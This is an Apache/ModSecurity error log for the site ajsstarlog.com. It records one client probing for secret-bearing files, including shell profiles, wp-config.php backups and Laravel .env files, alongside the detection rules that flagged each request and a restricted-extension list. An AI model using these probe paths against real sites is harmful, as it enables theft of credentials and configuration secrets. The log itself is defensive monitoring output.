[Fri Jul 17 07:54:30.120372 2026] [hostinglimits:warn] [pid 1994446:tid 1994446] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1994446) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:30.120895 2026] [hostinglimits:warn] [pid 1993998:tid 1993998] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993998) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:30.122592 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:30.158237 2026] [security2:error] [pid 1993571:tid 1993571] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSWunUgtv5ujFYWh_pYAAAAA0"]
[Fri Jul 17 07:54:30.375506 2026] [hostinglimits:warn] [pid 1993998:tid 1993998] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993998) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:30.434157 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase ".bashrc" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .bashrc found within REQUEST_FILENAME: /.bashrc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.bashrc"] [unique_id "almSXt0t9Kb_MdNxrg64WgAAAAM"]
[Fri Jul 17 07:54:30.434349 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.bashrc"] [unique_id "almSXt0t9Kb_MdNxrg64WgAAAAM"]
[Fri Jul 17 07:54:30.434481 2026] [hostinglimits:warn] [pid 1993574:tid 1993574] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993574) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:30.434602 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXt0t9Kb_MdNxrg64WgAAAAM"]
[Fri Jul 17 07:54:30.436478 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:30.578651 2026] [security2:error] [pid 1993571:tid 1993571] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase ".bash_profile" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .bash_profile found within REQUEST_FILENAME: /.bash_profile"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.bash_profile"] [unique_id "almSXunUgtv5ujFYWh_pYQAAAA0"]
[Fri Jul 17 07:54:30.579126 2026] [security2:error] [pid 1993571:tid 1993571] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.bash_profile"] [unique_id "almSXunUgtv5ujFYWh_pYQAAAA0"]
[Fri Jul 17 07:54:30.675121 2026] [security2:error] [pid 1993998:tid 1993998] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase ".profile" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .profile found within REQUEST_FILENAME: /.profile"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.profile"] [unique_id "almSXmidQp3SsqeycPEmTAAAAAo"]
[Fri Jul 17 07:54:30.677008 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase ".zshrc" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .zshrc found within REQUEST_FILENAME: /.zshrc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.zshrc"] [unique_id "almSXt0t9Kb_MdNxrg64WwAAAAM"]
[Fri Jul 17 07:54:30.677383 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.zshrc"] [unique_id "almSXt0t9Kb_MdNxrg64WwAAAAM"]
[Fri Jul 17 07:54:30.677618 2026] [hostinglimits:warn] [pid 1993574:tid 1993574] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993574) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:30.677801 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXt0t9Kb_MdNxrg64WwAAAAM"]
[Fri Jul 17 07:54:30.678387 2026] [security2:error] [pid 1993998:tid 1993998] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.profile"] [unique_id "almSXmidQp3SsqeycPEmTAAAAAo"]
[Fri Jul 17 07:54:30.678740 2026] [hostinglimits:warn] [pid 1993998:tid 1993998] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993998) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:30.679338 2026] [security2:error] [pid 1993998:tid 1993998] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXmidQp3SsqeycPEmTAAAAAo"]
[Fri Jul 17 07:54:30.834594 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ajsstarlog.com"] [uri "/wp-config.php.bak"] [unique_id "almSXt0t9Kb_MdNxrg64XAAAAAM"]
[Fri Jul 17 07:54:30.834820 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/wp-config.php.bak"] [unique_id "almSXt0t9Kb_MdNxrg64XAAAAAM"]
[Fri Jul 17 07:54:30.835201 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/wp-config.php.bak"] [unique_id "almSXt0t9Kb_MdNxrg64XAAAAAM"]
[Fri Jul 17 07:54:30.835614 2026] [hostinglimits:warn] [pid 1993574:tid 1993574] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993574) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:30.835775 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXt0t9Kb_MdNxrg64XAAAAAM"]
[Fri Jul 17 07:54:30.893009 2026] [security2:error] [pid 1993998:tid 1993998] [client 104.28.219.191:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ajsstarlog.com"] [uri "/wp-config.php.old"] [unique_id "almSXmidQp3SsqeycPEmTQAAAAo"]
[Fri Jul 17 07:54:30.893279 2026] [security2:error] [pid 1993998:tid 1993998] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/wp-config.php.old"] [unique_id "almSXmidQp3SsqeycPEmTQAAAAo"]
[Fri Jul 17 07:54:30.893658 2026] [security2:error] [pid 1993998:tid 1993998] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/wp-config.php.old"] [unique_id "almSXmidQp3SsqeycPEmTQAAAAo"]
[Fri Jul 17 07:54:30.898849 2026] [security2:error] [pid 1993570:tid 1993570] [client 104.28.219.191:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ajsstarlog.com"] [uri "/storage/logs/laravel.log"] [unique_id "almSXnjA8yK8B7kryx3a9gAAAAk"]
[Fri Jul 17 07:54:30.899264 2026] [security2:error] [pid 1993570:tid 1993570] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/storage/logs/laravel.log"] [unique_id "almSXnjA8yK8B7kryx3a9gAAAAk"]
[Fri Jul 17 07:54:30.899549 2026] [hostinglimits:warn] [pid 1993570:tid 1993570] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993570) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:30.899704 2026] [security2:error] [pid 1993570:tid 1993570] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXnjA8yK8B7kryx3a9gAAAAk"]
[Fri Jul 17 07:54:31.161371 2026] [security2:error] [pid 1993671:tid 1993671] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/laravel/.env"] [unique_id "almSXw5GPQ6hs4VrfMo3TQAAAAY"]
[Fri Jul 17 07:54:31.161622 2026] [security2:error] [pid 1993671:tid 1993671] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/laravel/.env"] [unique_id "almSXw5GPQ6hs4VrfMo3TQAAAAY"]
[Fri Jul 17 07:54:31.161800 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:31.161950 2026] [security2:error] [pid 1993671:tid 1993671] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXw5GPQ6hs4VrfMo3TQAAAAY"]
[Fri Jul 17 07:54:31.327011 2026] [security2:error] [pid 1993668:tid 1993668] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/config/.env.php"] [unique_id "almSXxAi3pC6yjXGNq12iQAAAAU"]
[Fri Jul 17 07:54:31.327264 2026] [security2:error] [pid 1993668:tid 1993668] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/config/.env.php"] [unique_id "almSXxAi3pC6yjXGNq12iQAAAAU"]
[Fri Jul 17 07:54:31.327468 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:31.327605 2026] [security2:error] [pid 1993668:tid 1993668] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXxAi3pC6yjXGNq12iQAAAAU"]
[Fri Jul 17 07:54:31.390209 2026] [security2:error] [pid 1993671:tid 1993671] [client 104.28.219.191:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ajsstarlog.com"] [uri "/.env.php.bak"] [unique_id "almSXw5GPQ6hs4VrfMo3TgAAAAY"]
